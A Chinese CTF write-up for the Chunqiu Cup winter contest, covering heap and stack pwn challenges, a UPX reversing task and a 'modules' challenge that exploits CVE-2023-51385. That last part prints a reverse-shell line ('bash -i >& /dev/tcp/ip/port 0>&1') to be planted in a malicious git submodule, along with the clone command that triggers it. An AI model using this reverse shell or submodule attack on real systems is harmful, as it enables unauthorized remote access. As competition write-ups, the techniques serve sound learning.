春秋杯 冬季赛
nmanager
- 随机数比较,但是1s 相对程序来说很撑,因此可以得到其seed
- 数组越界导致的栈溢出,往栈上写内容。
1 | unsigned __int64 __fastcall modify(char *a1) |
exp如下
- 栈上有个got表,本来是想泄露这个,但是在栈上的位置会变。后来直接泄露返回地址了。
1 | #!/usr/bin/python3 |
book
UAF libc2.35,并且还没有沙箱,直接使用 house of apple
- 还可以劫持的
tls_dtor_list
1 | #!/usr/bin/python3 |
HouseofSome
给出glibc2.38 patch文件:patch了 _IO_wide_data
的 虚表检查,常见的 house of 技术无法使用
1 | diff --git a/libio/libioP.h b/libio/libioP.h |
程序不需要自己patch,指定了runpath
1 | $ gcc -Wl,-R/path/to/library xxx.c # 指定libc |
mmap 了一段可读可写的内存
1 | pwndbg> vmmap |
draw 时,因为没有判断offset的值,存在溢出问题
1 | unsigned __int64 draw() |
记一下知识点:
- fopen函数会malloc一个堆块作为
_IO_FILE
管理结构,并头插进入_IO_list_all
,使得libc内会存放一个堆地址 - scanf 在输入
+/-
字符时,占位但是不覆盖,造成泄露栈
HouseOfSome具体WP见官方,有时间再看:2023年春秋杯冬季赛WEB、PWN类题目解析
upx2023
010editor打开,将其中的 upx
改成 UPX
, 然后使用upx -d
脱壳就行
其主要逻辑如下
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
异或问题:爆破时间戳(根据已知字符,前两个字符固定为 f{
)。change 函数是一个矩阵转化,因此可以直接使用字符串测试,并且得到其mapping,最后得到其结果
1 | t1 = list("abcdefghijklmnopqrstuvwxyz1234567890ABCDEF") |
modules
CVE-2023-51385(gitee 搜索就有答案
如何利用看下面两篇文章就行
新建一个 gitee
仓库,添加一个 .gitmodules
文件,反弹shell。后面的域名需要与 .config
文件一致
1 | [submodule "cves"] |
在库里创建一个 exp.sh
文件
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
clone 仓库触发漏洞
1 | $ git clone <repo> --recurse-submodules |
比赛时 curl 主机没有回显,在赛后才想到可能是VPS 防火墙
的问题
- 然后curl了一下vps,发现没有接收到,后来又发现 4444 端口不行,换成 9999 端口就行😥
1 | $ ufw allow port |